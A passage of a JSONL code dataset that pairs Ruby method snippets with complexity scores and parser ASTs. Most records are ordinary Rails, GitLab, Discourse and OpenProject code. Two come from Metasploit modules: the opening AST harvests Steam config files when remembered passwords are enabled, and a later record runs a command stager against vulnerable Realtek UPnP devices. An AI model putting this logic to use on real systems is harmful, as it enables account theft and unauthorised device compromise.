ype\":\"str\",\"children\":[\"\\\\Steam\\\\config\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checking for Steam configs in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steamappdata\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steamconfig\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Located steam config files.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sad\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steamappdata\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sad\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"RememberPassword\\\\W*\\\"1\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"RememberPassword is set! Accountname is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u_rx\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"sad\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scd\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steamconfig\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"steam_app_data_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"steam.config\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"sad\"]},{\"type\":\"lvar\",\"children\":[\"steamappdata\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The file SteamAppData.vdf has been stored on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steam_app_data_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"steam_config_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"steam.config\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"scd\"]},{\"type\":\"lvar\",\"children\":[\"steamconfig\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The file config.vdf has been stored on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steam_config_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Steam configs harvested successfully!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"RememberPassword is not set, exiting.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Steam configs not found.\"]}]}]}]}]}","id":"7596d8e0-d3a3-4fc7-8ba9-00928f16bd96"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/inflector_test.rb","start_line":463,"raw_source":"def test_underscore_as_reverse_of_dasherize\n    UnderscoresToDashes.each_key do |underscored|\n      assert_equal(underscored, ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.dasherize(underscored)))\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_underscore_as_reverse_of_dasherize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnderscoresToDashes\"]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"underscored\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"underscored\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"underscore\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"dasherize\",{\"type\":\"lvar\",\"children\":[\"underscored\"]}]}]}]}]}]}","id":"df7bcef8-299b-4fac-b99c-c9dae6d702b2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/spec/support/pages/calendar.rb","start_line":68,"raw_source":"def resize_date(work_package, date, end_date: true)\n      retry_block do\n        wp_strip = event(work_package)\n\n        page\n          .driver\n          .browser\n          .action\n          .move_to(wp_strip.native)\n          .perform\n\n        selector = end_date ? \".fc-event-resizer-end\" : \".fc-event-resizer-start\"\n        resizer = wp_strip.find(selector)\n        end_container = date_container date\n\n        drag_n_drop_element(from: resizer, to: end_container)\n      end\n    end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resize_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"date\"]},{\"type\":\"kwoptarg\",\"children\":[\"end_date\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_block\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wp_strip\",{\"type\":\"send\",\"children\":[null,\"event\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"driver\"]},\"browser\"]},\"action\"]},\"move_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_strip\"]},\"native\"]}]},\"perform\"]},{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_date\"]},{\"type\":\"str\",\"children\":[\".fc-event-resizer-end\"]},{\"type\":\"str\",\"children\":[\".fc-event-resizer-start\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resizer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_strip\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_container\",{\"type\":\"send\",\"children\":[null,\"date_container\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]},{\"type\":\"send\",\"children\":[null,\"drag_n_drop_element\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"resizer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"end_container\"]}]}]}]}]}]}]}","id":"f0b515d4-8698-4faa-8f22-f2f94eb23e2a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb","start_line":89,"raw_source":"def exploit\n    print_status(\"Trying to access the device ...\")\n\n    unless check == Exploit::CheckCode::Detected\n      fail_with(Failure::Unknown, \"#{peer} - Failed to access the vulnerable device\")\n    end\n\n    print_status(\"Exploiting...\")\n\n    execute_cmdstager(\n      :flavor => :echo,\n      :linemax => 50,\n      :nodelete => true\n    )\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying to access the device ...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to access the vulnerable device\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Exploiting...\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flavor\"]},{\"type\":\"sym\",\"children\":[\"echo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nodelete\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"5db9adba-5d28-4ef1-afa0-2fe1059f5f86"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/cycle_analytics_helpers.rb","start_line":97,"raw_source":"def select_value_stream(value_stream_name)\n    toggle_value_stream_dropdown\n    page.find('[data-testid=\"dropdown-value-streams\"]').all('li span').find { |item| item.text == value_stream_name.to_s }.click\n    wait_for_requests\n  end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"select_value_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value_stream_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"toggle_value_stream_dropdown\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"dropdown-value-streams\\\"]\"]}]},\"all\",{\"type\":\"str\",\"children\":[\"li span\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"text\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_stream_name\"]},\"to_s\"]}]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"d5bb7926-ba0b-4bb4-b263-c13f31a204d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/work_item/widgets.rb","start_line":138,"raw_source":"def has_no_label?(label)\n            wait_labels_block_finish_loading do\n              has_no_element?(label)\n            end\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_label?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_labels_block_finish_loading\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_no_element?\",{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]}","id":"ec04db0d-7a17-4291-b8d9-f17693c8a29a"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/backup_restore/s3_backup_store_spec.rb","start_line":124,"raw_source":"def create_backups\n    @objects.clear\n\n    @objects << {\n      key: \"default/b.tar.gz\",\n      size: 17,\n      last_modified: Time.parse(\"2018-09-13T15:10:00Z\"),\n    }\n    @objects << {\n      key: \"default/a.tgz\",\n      size: 29,\n      last_modified: Time.parse(\"2018-02-11T09:27:00Z\"),\n    }\n    @objects << {\n      key: \"default/r.sql.gz\",\n      size: 11,\n      last_modified: Time.parse(\"2017-12-20T03:48:00Z\"),\n    }\n    @objects << {\n      key: \"default/no-backup.txt\",\n      size: 12,\n      last_modified: Time.parse(\"2018-09-05T14:27:00Z\"),\n    }\n    @objects << {\n      key: \"default/subfolder/c.tar.gz\",\n      size: 23,\n      last_modified: Time.parse(\"2019-01-24T18:44:00Z\"),\n    }\n\n    @objects << {\n      key: \"second/multi-2.tar.gz\",\n      size: 19,\n      last_modified: Time.parse(\"2018-11-27T03:16:54Z\"),\n    }\n    @objects << {\n      key: \"second/multi-1.tar.gz\",\n      size: 22,\n      last_modified: Time.parse(\"2018-11-26T03:17:09Z\"),\n    }\n    @objects << {\n      key: \"second/subfolder/multi-3.tar.gz\",\n      size: 23,\n      last_modified: Time.parse(\"2019-01-24T18:44:00Z\"),\n    }\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_backups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"default/b.tar.gz\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2018-09-13T15:10:00Z\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"default/a.tgz\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[29]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2018-02-11T09:27:00Z\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"default/r.sql.gz\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2017-12-20T03:48:00Z\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"default/no-backup.txt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2018-09-05T14:27:00Z\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"default/subfolder/c.tar.gz\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2019-01-24T18:44:00Z\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"second/multi-2.tar.gz\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2018-11-27T03:16:54Z\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"second/multi-1.tar.gz\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2018-11-26T03:17:09Z\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@objects\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"second/subfolder/multi-3.tar.gz\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2019-01-24T18:44:00Z\"]}]}]}]}]}]}]}","id":"7bfe9dc8-51e5-4a22-a706-fc74235517b2"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/i18n_validation_test.rb","start_line":75,"raw_source":"def test_errors_full_messages_uses_attribute_format\n    ActiveModel::Error.i18n_customize_full_message = true\n\n    I18n.backend.store_translations(\"en\", activemodel: {\n      errors: { models: { person: { attributes: { name: { format: \"%{message}\" } } } } } })\n\n    person = person_class.new\n    assert_equal \"cannot be blank\", person.errors.full_message(:name, \"cannot be blank\")\n    assert_equal \"Name test cannot be blank\", person.errors.full_message(:name_test, \"cannot be blank\")\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_errors_full_messages_uses_attribute_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Error\"]},\"i18n_customize_full_message=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"str\",\"children\":[\"en\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activemodel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"models\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%{message}\"]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"person_class\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"cannot be blank\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"errors\"]},\"full_message\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"cannot be blank\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Name test cannot be blank\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"errors\"]},\"full_message\",{\"type\":\"sym\",\"children\":[\"name_test\"]},{\"type\":\"str\",\"children\":[\"cannot be blank\"]}]}]}]}]}","id":"2bca7bc6-9a62-40db-910f-ad11857bff4e"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":378,"raw_source":"def sort(input, property = nil)\n      ary = InputIterator.new(input, context)\n\n      return [] if ary.empty?\n\n      if property.nil?\n        ary.sort do |a, b|\n          nil_safe_compare(a, b)\n        end\n      elsif ary.all? { |el| el.respond_to?(:[]) }\n        begin\n          ary.sort { |a, b| nil_safe_compare(a[property], b[property]) }\n        rescue TypeError\n          raise_property_error(property)\n        end\n      end\n    end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"optarg\",\"children\":[\"property\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ary\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InputIterator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ary\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property\"]},\"nil?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ary\"]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"nil_safe_compare\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"lvar\",\"children\":[\"b\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ary\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"el\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"[]\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ary\"]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"nil_safe_compare\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise_property_error\",{\"type\":\"lvar\",\"children\":[\"property\"]}]}]},null]}]},null]}]}]}]}","id":"5b6c454c-b495-4fef-bdae-61d55dbe97e6"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":375,"raw_source":"def use_anonymous_forwarding?\n          cop_config.fetch('UseAnonymousForwarding', false)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"use_anonymous_forwarding?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"UseAnonymousForwarding\"]},{\"type\":\"false\",\"children\":[]}]}]}","id":"217d7dac-c765-421d-b14d-b3ae63de2a21"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_board_seeder.rb","start_line":67,"raw_source":"def all_required_references\n      seed_data.each(\"boards\").to_a\n               .flat_map { |_board_name, board_data| get_required_references(board_data) }\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"all_required_references\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_data\"]},\"each\",{\"type\":\"str\",\"children\":[\"boards\"]}]},\"to_a\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_board_name\"]},{\"type\":\"arg\",\"children\":[\"board_data\"]}]},{\"type\":\"send\",\"children\":[null,\"get_required_references\",{\"type\":\"lvar\",\"children\":[\"board_data\"]}]}]}]}","id":"913c321e-01df-4153-8a13-4511a6c08b7d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/global_search.rb","start_line":102,"raw_source":"def expect_no_work_package_option(wp)\n      expect(page)\n        .to have_no_css(\".global-search--option\", text: wp.subject.to_s)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_work_package_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\".global-search--option\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp\"]},\"subject\"]},\"to_s\"]}]}]}]}]}]}","id":"59b9696b-7571-4066-bf3d-865d6f203984"}
